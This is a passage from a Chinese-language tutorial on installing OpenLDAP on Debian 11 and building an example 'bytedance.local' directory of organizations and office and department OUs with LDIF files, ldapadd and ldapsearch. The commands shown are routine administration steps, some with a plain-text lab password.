&lt;p&gt;使用 FQDN(Fully Qualified Domain Name) 完全限定域名 作为 LDAP 服务器的主机名是推荐的做法，尤其是在生产环境中，以避免潜在的冲突和配置问题。这有助于确保系统的可靠性、安全性和互操作性。 推荐使用 &quot;.local&quot; 这样的域后缀（如 domain.local），将 LDAP 服务器限定在内部网络中，而无需担心与公共域名相冲突的可能性。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# hostnamectl set-hostname ldap01.bytedance.local
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;bian-ji-etc-hosts-wen-jian&quot;&gt;编辑 &#x2F;etc&#x2F;hosts 文件&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# echo &amp;quot;10.2.102.201       localhost       ldap01.bytedance.local  ldap01  ldap-master&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;hosts
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;an-zhuang-openldap&quot;&gt;安装 OpenLDAP&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;安装 &lt;code&gt;OpenLDAP（slapd）&lt;&#x2F;code&gt; 和 &lt;code&gt;LDAP&lt;&#x2F;code&gt; 工具 &lt;code&gt;（ldap-utils）&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# apt install -y slapd ldap-utils
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done

root@ldap01:~# dpkg -l slapd ldap-utils
Desired=Unknown&amp;#x2F;Install&amp;#x2F;Remove&amp;#x2F;Purge&amp;#x2F;Hold
| Status=Not&amp;#x2F;Inst&amp;#x2F;Conf-files&amp;#x2F;Unpacked&amp;#x2F;halF-conf&amp;#x2F;Half-inst&amp;#x2F;trig-aWait&amp;#x2F;Trig-pend
|&amp;#x2F; Err?=(none)&amp;#x2F;Reinst-required (Status,Err: uppercase=bad)
||&amp;#x2F; Name           Version               Architecture Description
+++-==============-=====================-============-=================================
ii  ldap-utils     2.4.57+dfsg-3+deb11u1 amd64        OpenLDAP utilities
ii  slapd          2.4.57+dfsg-3+deb11u1 amd64        OpenLDAP server (slapd)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;设置 &lt;code&gt;OpenLDAP&lt;&#x2F;code&gt; 管理员用户的密码：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openldap-debian11&#x2F;openldap-admin-password-dialog.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openldap-debian11&#x2F;dpkg-reconfigure-slapd.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pei-zhi-openldap-fu-wu-qi&quot;&gt;配置 OpenLDAP 服务器&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;geng-xin-mo-ren-basedn&quot;&gt;更新默认 BaseDN&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;重新配置 &lt;code&gt;OpenLDAP&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# dpkg-reconfigure slapd
  Backing up &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;slapd.d in &amp;#x2F;var&amp;#x2F;backups&amp;#x2F;slapd-2.4.57+dfsg-3+deb11u1... done.
  Moving old database directory to &amp;#x2F;var&amp;#x2F;backups:
  - directory unknown... done.
  Creating initial configuration... done.
  Creating LDAP directory... done.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;当要求删除&#x2F;忽略旧的 &lt;code&gt;OpenLDA&lt;&#x2F;code&gt;P 配置时，选择 &lt;strong&gt;No。&lt;&#x2F;strong&gt;  这将使旧配置保持可用。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openldap-debian11&#x2F;openldap-base-dn-dialog.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;输入 &lt;code&gt;OpenLDAP&lt;&#x2F;code&gt; 服务器的 &lt;code&gt;DNS&lt;&#x2F;code&gt; 本地域名并选择 &lt;strong&gt;OK&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openldap-debian11&#x2F;openldap-dns-domain-dialog.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;输入组织名称并选择 &lt;strong&gt;Ok&lt;&#x2F;strong&gt;。或者，您可以将其保留为默认名称，并使用与域名相同的名称。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openldap-debian11&#x2F;openldap-admin-password.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;输入 &lt;code&gt;OpenLDAP&lt;&#x2F;code&gt; 管理员密码并选择 &lt;strong&gt;Ok&lt;&#x2F;strong&gt; 继续。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openldap-debian11&#x2F;openldap-confirm-admin-password.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;确认 &lt;code&gt;OpenLDAP&lt;&#x2F;code&gt; 管理员密码并再次选择 &lt;strong&gt;Ok&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openldap-debian11&#x2F;slapd-discard-old-database.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;当要求删除旧的 &lt;code&gt;slapd&lt;&#x2F;code&gt; 数据库时 选择 &lt;strong&gt;No。&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openldap-debian11&#x2F;slapd-move-old-db-dialog.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;选择 &lt;strong&gt;yes&lt;&#x2F;strong&gt; 以移动旧的 &lt;code&gt;slapd&lt;&#x2F;code&gt; 数据库。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openldap-debian11&#x2F;slapd-move-old-db.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;验证 &lt;code&gt;OpenLDAP&lt;&#x2F;code&gt; 配置&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# slapcat
dn: dc=bytedance,dc=local                             # DN（Distinguished Name）表示此条目的唯一标识符
objectClass: top                                      # 对象类别，此条目属于top类别
objectClass: dcObject                                 # 对象类别，此条目属于dcObject类别
objectClass: organization                             # 对象类别，此条目属于organization类别
o: bytedance.local                                    # 组织名称（organization name），值为bytedance.local
dc: bytedance                                         # 域名组件（domain component），值为bytedance
structuralObjectClass: organization                   # 结构对象类别，此条目属于organization类别
entryUUID: 929034d4-2854-103e-8888-8543547a3b55       # 条目的唯一标识符UUID（Universally Unique Identifier）
creatorsName: cn=admin,dc=bytedance,dc=local          # 创建者的DN
createTimestamp: 20231206072653Z                      # 创建时间戳
entryCSN: 20231206072653.234848Z#000000#000#000000.   # 条目的变更序列号（Change Sequence Number）
modifiersName: cn=admin,dc=bytedance,dc=local         # 修改者的DN
modifyTimestamp: 20231206072653Z                      # 修改时间戳
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;重新启动 &lt;code&gt;slapd&lt;&#x2F;code&gt; 服务&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 重新启动 slapd 服务以应用新的更改
root@ldap01:~# systemctl restart slapd.service

# 将 slapd 服务状态设置为 活动（正在运行）
root@ldap01:~# systemctl status slapd.service
● slapd.service - LSB: OpenLDAP standalone server (Lightweight Directory Access Protocol)
     Loaded: loaded (&amp;#x2F;etc&amp;#x2F;init.d&amp;#x2F;slapd; generated)
    Drop-In: &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;slapd.service.d
             └─slapd-remain-after-exit.conf
     Active: active (running) since Wed 2023-12-06 14:32:24 CST; 5s ago
       Docs: man:systemd-sysv-generator(8)
    Process: 1634 ExecStart=&amp;#x2F;etc&amp;#x2F;init.d&amp;#x2F;slapd start (code=exited, status=0&amp;#x2F;SUCCESS)
      Tasks: 3 (limit: 9481)
     Memory: 5.0M
        CPU: 18ms
     CGroup:&amp;#x2F;system.slice&amp;#x2F;slapd.service
             └─1640 &amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;slapd -h ldap:&amp;#x2F;&amp;#x2F;&amp;#x2F; ldapi:&amp;#x2F;&amp;#x2F;&amp;#x2F; -g openldap -u openldap -F &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;slapd.d

Dec 06 14:32:24 ldap01.bytedance.local systemd[1]: Starting LSB: OpenLDAP standalone server (Lightweight Directory Access Protocol)...
Dec 06 14:32:24 ldap01.bytedance.local slapd[1639]: @(#) $OpenLDAP: slapd 2.4.57+dfsg-3+deb11u1 (May 14 2022 18:32:57) $
                                                            Debian OpenLDAP Maintainers &amp;lt;pkg-openldap-devel@lists.alioth.debian.org&amp;gt;
Dec 06 14:32:24 ldap01.bytedance.local slapd[1640]: slapd starting
Dec 06 14:32:24 ldap01.bytedance.local slapd[1634]: Starting OpenLDAP: slapd.
Dec 06 14:32:24 ldap01.bytedance.local systemd[1]: Started LSB: OpenLDAP standalone server (Lightweight Directory Access Protocol).
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;chuang-jian-ldap-zi-ding-yi-mu-lu&quot;&gt;创建 ldap 自定义目录&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;当使用 OpenLDAP 服务器时，通常用于对计算机或服务器进行身份验证。可以通过使用 LDIF（LDAP 数据交换格式）文件来设置相应规则，并使用 ldapadd 等命令行工具来执行相应操作。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;我们将所有自定义的 &lt;code&gt;ldif&lt;&#x2F;code&gt; 文件都存放到 &lt;code&gt;&#x2F;etc&#x2F;ldap&#x2F;custom-schema&lt;&#x2F;code&gt; 目录下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# mkdir &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema

root@ldap01:~# tree &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema
&amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema
├── organizations.ldif
├── APAC_Level1_OUs.ldif
├── EMEA_Level1_OUs.ldif
├── AMS_Level1_OUs.ldif
├── AMS_Level2_OUs.ldif
├── AMS_Level3_OUs.ldif
├── China_Level1_OUs.ldif
├── China_Level2_OUs.ldif
├── China_Level3_OUs.ldif
├── UsersAndGroups_Level4_OUs.ldif
└── users
     ├── alice_group.ldif
     ├── alice.user.ldif
     ├── john_group.ldif
     ├── john_user.ldif
     ├── liming_group.ldif
     ├── liming_user.ldif
     ├── zhangsan_group.ldif
     └── zhangsan_user.ldif
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;chuang-jian-o-organization&quot;&gt;创建 O(Organization)&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;创建 &lt;code&gt;organizations.ldif&lt;&#x2F;code&gt; 文件&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# cat &amp;gt; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;organizations.ldif &amp;lt;&amp;lt;EOF
# China
dn: o=Bytedance_China,dc=bytedance,dc=local
objectClass: organization
o: Bytedance_China
description: China

# Non-China (APAC)
dn: o=Bytedance_APAC,dc=bytedance,dc=local
objectClass: organization
o: Bytedance_APAC
description: Asia-Pacific

# Non-China (EMEA)
dn: o=Bytedance_EMEA,dc=bytedance,dc=local
objectClass: organization
o: Bytedance_EMEA
description: Europe, Middle East and Africa

# Non-China (AMS)
dn: o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: organization
o: Bytedance_AMS
description: Americas
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;应用配置&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# ldapadd -x -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -W -f &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;organizations.ldif
Enter LDAP Password:
adding new entry &amp;quot;o=Bytedance_China,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;o=Bytedance_APAC,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;o=Bytedance_EMEA,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;o=Bytedance_AMS,dc=bytedance,dc=local&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;列出所有 &lt;code&gt;Organization&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# ldapsearch -x -b &amp;quot;dc=bytedance,dc=local&amp;quot; &amp;quot;(objectClass=organization)&amp;quot;
# extended LDIF
#
# LDAPv3
# base &amp;lt;dc=bytedance,dc=local&amp;gt; with scope subtree
# filter: (objectClass=organization)
# requesting: ALL
#

# bytedance.local
dn: dc=bytedance,dc=local
objectClass: top
objectClass: dcObject
objectClass: organization
o: bytedance.local
dc: bytedance

# Bytedance_China, bytedance.local
dn: o=Bytedance_China,dc=bytedance,dc=local
objectClass: organization
o: Bytedance_China
description: China

# Bytedance_APAC, bytedance.local
dn: o=Bytedance_APAC,dc=bytedance,dc=local
objectClass: organization
o: Bytedance_APAC
description: Asia-Pacific

# Bytedance_EMEA, bytedance.local
dn: o=Bytedance_EMEA,dc=bytedance,dc=local
objectClass: organization
o: Bytedance_EMEA
description: Europe, Middle East and Africa

# Bytedance_AMS, bytedance.local
dn: o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: organization
o: Bytedance_AMS
description: Americas

# search result
search: 2
result: 0 Success

# numResponses: 6
# numEntries: 5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;查找指定 &lt;code&gt;Organization&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# ldapsearch -x -b &amp;quot;dc=bytedance,dc=local&amp;quot; &amp;quot;(o=Bytedance_China)&amp;quot;
# extended LDIF
#
# LDAPv3
# base &amp;lt;dc=bytedance,dc=local&amp;gt; with scope subtree
# filter: (o=Bytedance_China)
# requesting: ALL
#

# Bytedance_China, bytedance.local
dn: o=Bytedance_China,dc=bytedance,dc=local
objectClass: organization
o: Bytedance_China
description: China

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;chuang-jian-ou-organizational-unit&quot;&gt;创建 OU(Organizational Unit)&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;yi-ji-ou-gong-zuo-cheng-shi&quot;&gt;一级 OU 工作城市&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;创建 &lt;code&gt;ldif&lt;&#x2F;code&gt; 文件&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# cat &amp;gt; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;China_Level1_OUs.ldif &amp;lt;&amp;lt;EOF
# Beijing
dn: ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Beijing
description: Beijing Office

# Shanghai
dn: ou=Shanghai,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Shanghai
description: Shanghai Office

# Guangzhou
dn: ou=Guangzhou,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Guangzhou
description: Guangzhou Office
EOF

root@ldap01:~# cat &amp;gt; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;APAC_Level1_OUs.ldif &amp;lt;&amp;lt;EOF
# Singapore
dn: ou=Singapore,o=Bytedance_APAC,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Singapore
description: Singapore Office

# Tokyo
dn: ou=Tokyo,o=Bytedance_APAC,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Tokyo
description: Tokyo Office
EOF

root@ldap01:~# cat &amp;gt; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;EMEA_Level1_OUs.ldif &amp;lt;&amp;lt;EOF
# London
dn: ou=London,o=Bytedance_EMEA,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: London
description: London Office

# Dublin
dn: ou=Dublin,o=Bytedance_EMEA,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Dublin
description: Dublin Office
EOF

root@ldap01:~# cat &amp;gt; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;AMS_Level1_OUs.ldif &amp;lt;&amp;lt;EOF
# Mountain View
dn: ou=MountainView,o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: MountainView
description: Mountain View Office

# San Jose
dn: ou=SanJose,o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: SanJose
description: San Jose Office
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;应用配置&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# files=(&amp;quot;China_Level1_OUs.ldif&amp;quot; &amp;quot;APAC_Level1_OUs.ldif&amp;quot; &amp;quot;EMEA_Level1_OUs.ldif&amp;quot; &amp;quot;AMS_Level1_OUs.ldif&amp;quot;)
for file in &amp;quot;${files[@]}&amp;quot;
do
    ldapadd -x -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -w 1qaz!QAZ -f &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;$file
done
adding new entry &amp;quot;ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Shanghai,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Guangzhou,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Singapore,o=Bytedance_APAC,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Tokyo,o=Bytedance_APAC,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=London,o=Bytedance_EMEA,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Dublin,o=Bytedance_EMEA,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=MountainView,o=Bytedance_AMS,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=SanJose,o=Bytedance_AMS,dc=bytedance,dc=local&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;检查 &lt;code&gt;ou&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 列出o下指定一级ou
root@ldap01:~# ldapsearch -x -LLL -H ldap:&amp;#x2F;&amp;#x2F;ldap01.bytedance.local -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -w 1qaz!QAZ -b &amp;quot;ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;
dn: ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Beijing
description: Beijing Office

# 列出o下所有一级ou
root@ldap01:~# ldapsearch -x -LLL -H ldap:&amp;#x2F;&amp;#x2F;ldap01.bytedance.local -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -w 1qaz!QAZ -b &amp;quot;o=Bytedance_AMS,dc=bytedance,dc=local&amp;quot;
dn: o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: organization
o: Bytedance_AMS
description: Americas

dn: ou=SanJose,o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: SanJose
description: San Jose Office

dn: ou=MountainView,o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: MountainView
description: Mountain View Office
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;er-ji-ou-ye-wu-bu-men&quot;&gt;二级 OU 业务部门&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;创建 &lt;code&gt;ldif&lt;&#x2F;code&gt; 文件&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# cat &amp;gt; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;China_Level2_OUs.ldif &amp;lt;&amp;lt;EOF
# Douyin_Dep under Beijing
dn: ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Douyin_Dep
description: Douyin department in Beijing

# Feishu_Dep under Beijing
dn: ou=Feishu_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Feishu_Dep
description: Feishu department in Beijing

# Dongchedi_Dep under Beijing
dn: ou=Dongchedi_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Dongchedi_Dep
description: Dongchedi department in Beijing

# Toutiao_Dep under Beijing
dn: ou=Toutiao_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Toutiao_Dep
description: Toutiao department in Beijing
EOF

root@ldap01:~# cat &amp;gt; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;AMS_Level2_OUs.ldif &amp;lt;&amp;lt;EOF
# Tiktok_Dep under MountainView
dn: ou=Tiktok_Dep,ou=MountainView,o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Tiktok_Dep
description: Tiktok department in MountainView

# Lark_Dep under SanJose
dn: ou=Lark_Dep,ou=SanJose,o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Lark_Dep
description: Lark department in SanJose
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;应用配置&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# files=(&amp;quot;China_Level2_OUs.ldif&amp;quot; &amp;quot;AMS_Level2_OUs.ldif&amp;quot;)
for file in &amp;quot;${files[@]}&amp;quot;
do
    ldapadd -x -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -w 1qaz!QAZ -f &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;$file
done
adding new entry &amp;quot;ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Feishu_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Dongchedi_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Toutiao_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Tiktok_Dep,ou=MountainView,o=Bytedance_AMS,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Lark_Dep,ou=SanJose,o=Bytedance_AMS,dc=bytedance,dc=local&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;检查 &lt;code&gt;ou&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 列出一级ou下指定二级ou
root@ldap01:~# ldapsearch -x -LLL -H ldap:&amp;#x2F;&amp;#x2F;ldap01.bytedance.local -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -w 1qaz!QAZ -b &amp;quot;ou=Tiktok_Dep,ou=MountainView,o=Bytedance_AMS,dc=bytedance,dc=local&amp;quot;
dn: ou=Tiktok_Dep,ou=MountainView,o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Tiktok_Dep
description: Tiktok department in MountainView

# 列出一级ou下所有二级ou
root@ldap01:~# ldapsearch -x -LLL -H ldap:&amp;#x2F;&amp;#x2F;ldap01.bytedance.local -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -w 1qaz!QAZ -b &amp;quot;ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;
dn: ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Beijing
description: Beijing Office

dn: ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Douyin_Dep
description: Douyin department in Beijing

dn: ou=Feishu_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Feishu_Dep
description: Feishu department in Beijing

dn: ou=Toutiao_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Toutiao_Dep
description: Toutiao department in Beijing

dn: ou=Dongchedi_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Dongchedi_Dep
description: Dongchedi department in Beijing
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;san-ji-ou-zhi-wei-lei-bie&quot;&gt;三级 OU 职位类别&lt;&#x2F;h4&gt;
